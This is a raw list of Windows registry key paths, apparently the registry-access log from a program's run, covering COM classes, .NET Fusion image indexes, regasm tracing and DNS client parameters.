HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{D4781CD6-E5D3-44DF-AD94-930EFE48A887}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\it
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\it
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{9556DC99-828C-11CF-A37E-00AA003240C7}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\0\win32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{027947E1-D731-11CE-A357-000000000001}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{1C1C45EE-4395-11D2-B60B-00104B703EFD}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{423EC01E-2E35-11D2-B604-00104B703EFD}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a\44\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a\44\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a\44\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a\44\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a\44\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a\44\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a\44\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a\44\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a\44\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3d590c3f\59f3b67b\82\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3d590c3f\59f3b67b\82\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3d590c3f\59f3b67b\82\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3d590c3f\59f3b67b\82\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3d590c3f\59f3b67b\82\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\357ee49a\7d2df0ec\41\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\357ee49a\7d2df0ec\41\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\357ee49a\7d2df0ec\41\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\357ee49a\7d2df0ec\41\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\357ee49a\7d2df0ec\41\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\CustomMarshalers,2.0.0.0,,b03f5f7f11d50a3a,x86
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\Microsoft.VisualC,8.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0\0\win32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4\47\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4\47\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4\47\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4\47\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4\47\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4\47\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4\47\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4\47\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4\47\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\73843e06\43a920ef\66\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\73843e06\43a920ef\66\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\73843e06\43a920ef\66\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\73843e06\43a920ef\66\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\73843e06\43a920ef\66\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\141dfd70\6b79efab\43\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\141dfd70\6b79efab\43\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\141dfd70\6b79efab\43\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\141dfd70\6b79efab\43\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\141dfd70\6b79efab\43\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\Microsoft.JScript,8.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Configuration.Install,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\COM3\FinalizerActivityBypass
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\WBEM\CIMOM\EnableObjectValidation
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Data.SqlXml,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\InstallationType
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\EnableConsoleTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\regasm_RASAPI32\EnableFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\regasm_RASAPI32\FileTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\regasm_RASAPI32\EnableConsoleTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\regasm_RASAPI32\ConsoleTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\regasm_RASAPI32\MaxFileSize
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\regasm_RASAPI32\FileDirectory
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\Library
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\IsMultiInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\First Counter
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\CategoryOptions
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\FileMappingSize
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\Counter Names
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\QueryAdapterName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\QueryAdapterName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DisableAdapterDomainName
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\UseDomainNameDevolution
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\UseDomainNameDevolution
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\UseDomainNameDevolution
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\DomainNameDevolutionLevel
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DomainNameDevolutionLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\PrioritizeRecordData
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\PrioritizeRecordData
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\PrioritizeRecordData
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\AllowUnqualifiedQuery
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\AllowUnqualifiedQuery
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\AllowUnqualifiedQuery
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\AppendToMultiLabelName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\AppendToMultiLabelName
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\ScreenBadTlds
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\ScreenBadTlds
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\ScreenUnreachableServers
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\ScreenUnreachableServers
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\ScreenDefaultServers
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\ScreenDefaultServers
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\DynamicServerQueryOrder
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DynamicServerQueryOrder
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\FilterClusterIp
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\FilterClusterIp
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\WaitForNameErrorOnAll
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\WaitForNameErrorOnAll
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\UseEdns
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\UseEdns
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\DnsSecureNameQueryFallback
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DnsSecureNameQueryFallback
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\EnableDAForAllNetworks
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\EnableDAForAllNetworks
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\DirectAccessQueryOrder
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DirectAccessQueryOrder
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\QueryIpMatching
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\QueryIpMatching
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\UseHostsFile
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\UseHostsFile
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\AddrConfigControl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\AddrConfigControl
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegistrationEnabled
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegistrationEnabled
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DisableDynamicUpdate
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegisterPrimaryName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegisterPrimaryName
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegisterAdapterName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegisterAdapterName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\EnableAdapterDomainNameRegistration
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegisterReverseLookup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegisterReverseLookup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DisableReverseAddressRegistrations
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegisterWanAdapters
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegisterWanAdapters
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DisableWanDynamicUpdate
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegistrationTtl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegistrationTtl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DefaultRegistrationTTL
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegistrationRefreshInterval
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegistrationRefreshInterval
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DefaultRegistrationRefreshInterval
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegistrationMaxAddressCount
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegistrationMaxAddressCount
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\MaxNumberOfAddressesToRegister
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\UpdateSecurityLevel
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\UpdateSecurityLevel
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\UpdateSecurityLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\UpdateTopLevelDomainZones
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\UpdateTopLevelDomainZones
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\DowncaseSpnCauseApiOwnerIsTooLazy
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DowncaseSpnCauseApiOwnerIsTooLazy
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegistrationOverwrite
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegistrationOverwrite
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\MaxCacheSize
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\MaxCacheSize
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\MaxCacheTtl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\MaxCacheTtl
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\MaxNegativeCacheTtl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\MaxNegativeCacheTtl
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\AdapterTimeoutLimit
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\AdapterTimeoutLimit
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\ServerPriorityTimeLimit
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\ServerPriorityTimeLimit
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\MaxCachedSockets
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\MaxCachedSockets
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\EnableMulticast
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\MulticastResponderFlags
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\MulticastResponderFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\MulticastSenderFlags
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\MulticastSenderFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\MulticastSenderMaxTimeout
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\MulticastSenderMaxTimeout
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DnsTest
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\UseCompartments
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\CacheAllCompartments
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\UseNewRegistration
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\ResolverRegistration
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\ResolverRegistrationOnly
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DnsQueryTimeouts
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DnsQueryTimeouts
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DnsQuickQueryTimeouts
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DnsQuickQueryTimeouts
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\PrimaryDomainName
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\EnableAdapterDomainNameRegistration
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\AdapterDomainName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\QueryAdapterName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\DisableAdapterDomainName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\RegistrationEnabled
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\RegisterAdapterName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\RegistrationMaxAddressCount
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\MaxNumberOfAddressesToRegister
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\Domain
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\DhcpDomain
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\QueryAdapterName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\DisableAdapterDomainName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\RegistrationEnabled
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\DisableDynamicUpdate
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\RegisterAdapterName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\EnableAdapterDomainNameRegistration
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\RegistrationMaxAddressCount
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\MaxNumberOfAddressesToRegister
